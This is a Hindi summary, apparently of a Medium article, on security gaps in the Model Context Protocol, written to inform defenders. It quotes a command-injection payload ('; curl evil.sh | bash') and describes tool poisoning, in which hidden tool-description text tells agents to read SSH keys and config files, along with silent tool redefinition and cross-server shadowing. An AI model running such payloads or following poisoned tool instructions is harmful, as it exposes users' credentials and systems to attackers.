MCP में “S” का मतलब सुरक्षा है
(medium.com/@elenacross7)- Model Context Protocol(MCP) Claude, GPT, Cursor जैसे LLM एजेंट्स को टूल्स और डेटा से जोड़ने वाले standard के रूप में ध्यान खींच रहा है, लेकिन इसका default security model कमजोर है, इसलिए अपनाने भर से attack surface बढ़ सकता है
- Standard API connection, persistent sessions, command execution और context sharing आसान हो जाते हैं, लेकिन इसकी कीमत पर arbitrary server connection shell, secrets और infrastructure तक जाने वाला bypass route बन सकता है
- Equixly test में MCP server implementations के 43% से अधिक में unsafe shell calls शामिल थे, और Invariant Labs ने tool descriptions में malicious instructions छिपाने वाले Tool Poisoning Attack को कवर किया
- MCP में authentication standard, context encryption और tool integrity verification की कमी है, और users के लिए agent द्वारा वास्तव में पढ़े जाने वाले पूरे tool instructions देखना मुश्किल है
- Developers को input validation और version pinning, platforms को metadata display और integrity hashes, और users को arbitrary server connections व unexpected tool updates की monitoring करनी चाहिए
MCP attack surface क्यों बनता है
- MCP(Model Context Protocol) LLMs को tools और data के साथ integrate करने के तरीके के लिए नया standard है, जिसे “AI agents के लिए USB-C” कहा जाता है
- Agents MCP के जरिए कई काम standardised तरीके से कर सकते हैं
- Standardised APIs से tools से connect करना
- Persistent sessions बनाए रखना
- Commands execute करना
- Workflows के बीच context share करना
- मुख्य समस्या यह है कि MCP default security model उपलब्ध नहीं कराता
- अगर किसी arbitrary MCP server से agent को connect किया जाए, तो shell, secrets और infrastructure तक जाने वाला side channel बन सकता है
वास्तव में चर्चा में आए attack methods
-
Command injection vulnerability
- Equixly test में MCP server implementations के 43% से अधिक में unsafe shell calls शामिल थे
- Example code
os.system("notify-send " + notification_info['msg'])की तरह user input को सीधे shell command से जोड़ता है - अगर attacker MCP tool parameter में
"; curl evil.sh | bash"जैसा payload डाल दे, तो trusted agent के जरिए remote code execution हो सकता है
-
Tool Poisoning Attack
- Invariant Labs द्वारा कवर किए गए attack में malicious instructions को MCP tool description के अंदर छिपाया जाता है
- यह description user को नहीं दिखती, लेकिन AI के सामने ज्यों का त्यों expose होती है
- Example tool दो numbers जोड़ने वाले function जैसा दिखता है, लेकिन description में
~/.ssh/id_rsaऔर~/.cursor/mcp.jsonपढ़ने का instruction शामिल होता है - Cursor जैसे agents ऐसे instructions follow कर सकते हैं
-
Silent Redefinition
- MCP tools installation के बाद अपनी definition बदल सकते हैं
- भले ही user ने पहले दिन सुरक्षित दिखने वाले tool को approve किया हो, बाद में वह चुपचाप API key attacker को भेजने वाले तरीके में बदल सकता है
- इसे LLM के अंदर घुसी supply chain problem माना जा सकता है
-
Cross-Server Tool Shadowing
- जब कई servers एक ही agent से connected हों, तो malicious server trusted server की ओर जाने वाली calls को overwrite या intercept कर सकता है
- संभावित परिणाम ये हो सकते हैं
- User को भेजे गए जैसे दिखने वाले emails attacker को भेजना
- असंबंधित tools में छिपी हुई logic inject करना
- कम दिखाई देने वाले arguments के जरिए data exfiltration encode करना
गायब security controls और role-wise response
- MCP की मौजूदा priority आसान integration और unified interface के करीब है, और इसमें ये security features कम हैं
- Authentication standard नहीं
- Context encryption नहीं
- Tool integrity verify करने का तरीका नहीं
- Users agent द्वारा देखे जाने वाले पूरे tool instructions check नहीं कर पाते, और “यह tool tamper नहीं हुआ है” इसे verify करने का mechanism भी नहीं है
-
Developers
- Input validation इस्तेमाल करें
- MCP server और tool versions pin करें
- Tool descriptions sanitize करें
-
Platform builders
- पूरा tool metadata दिखाएँ
- Server updates के लिए integrity hashes इस्तेमाल करें
- Session security enforce करें
-
Users
- Arbitrary servers से connect न करें
- Production logs की तरह session behavior monitor करें
- Unexpected tool updates पर नजर रखें
ScanMCP.com का विचार
- ScanMCP.com में connected MCP tools को audit करने वाला scanner और dashboard शामिल हो सकता है
- इनमें ये चीजें दिखाई जा सकती हैं
- RCE, tool poisoning और session leaks जैसे risks
- User द्वारा देखी जाने वाली जानकारी और agent द्वारा देखी जाने वाली जानकारी के बीच का फर्क
- इसके लिए उपयुक्त audience है agent platform security teams, AI infrastructure startups और trust को महत्व देने वाले independent tool builders
- MCP powerful है, लेकिन default security protocol तैयार होने तक visibility और control देने वाले tools की जरूरत है
अभी कोई टिप्पणी नहीं है.